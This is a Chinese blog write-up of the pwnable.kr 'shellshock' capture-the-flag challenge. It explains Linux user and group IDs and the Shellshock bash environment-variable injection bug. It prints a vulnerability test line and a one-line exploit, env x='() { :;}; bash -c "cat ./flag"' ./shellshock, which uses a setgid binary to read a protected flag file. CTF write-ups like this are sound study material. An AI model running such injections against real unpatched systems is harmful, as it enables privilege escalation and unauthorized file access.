avatar

pwnable.kr-shellshock-组文件与bash漏洞

分析

题目说是和bash相关,那我们直接先连进去

打开一看是非常短小的程序

1
2
3
4
5
6
7
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}

至少我没办法立刻看懂这都在干啥

可能需要的linux知识

在Linux上,每个进程都有以下用户和组标识符:

  • 真实用户ID和真实组ID。这些ID确定谁是进程的所有者。
  • 有效的用户ID和有效的组ID。内核使用这些ID来确定进程在访问共享资源(例如消息队列,共享内存和信号灯)时将具有的权限。在大多数UNIX系统上,这些ID还会确定访问文件时的权限。但是,Linux使用文件系统ID来完成此任务。
  • 已保存的设置用户ID和已保存的设置组ID。这些ID在设置用户ID和设置组ID程序中使用,以保存执行程序时设置的相应有效ID的副本。设置用户ID程序可以通过在其实际用户ID和已保存的设置用户ID的值之间来回切换其有效用户ID来获得和放弃特权。

getuid、geteuid、getgid和getegid函数

setresuid, setresgid

利用

其实我感觉上面还是没说人话,但是我也没能找着说人话的解释,我参考的wp上是这么说的

这段程序很简单,我们以shellshock身份启动时,程序的权限是other权限r-x,而在setresuid和setresgid中使用的是effective gid,也就是shellshock_pwn的权限r-s,当程序执行到system时,程序已经具有shellshock_pwn组权限了。

各文件权限是这样的

那么我们其实已经获得了flag的读权限,但是函数语句中并没有对flag的读取,只有一个使用bash操作,那么这下怎么办呢?

题目的提示在于题目名:shallchock,这是关于bash的一个本地提权漏洞,原理可以参考

流程

先测试一下漏洞是否存在

1
env x='() { :;}; echo vulnerable' bash -c "echo this is a test "

而实际上,x='() { :;}; echo vulnerable'是new出来了一个新的环境变量:

1
2
KEY=x
VALUE=() {:;}; echo vulnerable

而当我们后续执行bash的时候,最终会定位到initialize_shell_variables中,这个函数内部会遍历所有的环境变量,而我们设计的VALUE绕过了其中一个export函数的定义检查,使得最终执行的是后面的echo vulnerable串。所以,调用bash的时候,自定义的这个语句就会触发。

exp

那我们将自定义语句改成bash -c "cat ./flag",bash -c换成./shellshock(它内部调用了bash -c 'echo shock_me')。

1
env x='() { :;}; bash -c "cat ./flag"' ./shellshock

参考:

文章作者: 0bs3rver
文章链接: http://yoursite.com/2021/04/24/pwnable-kr-shellshock-%E7%BB%84%E6%96%87%E4%BB%B6%E4%B8%8Ebash%E6%BC%8F%E6%B4%9E/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 0bs3rver的小屋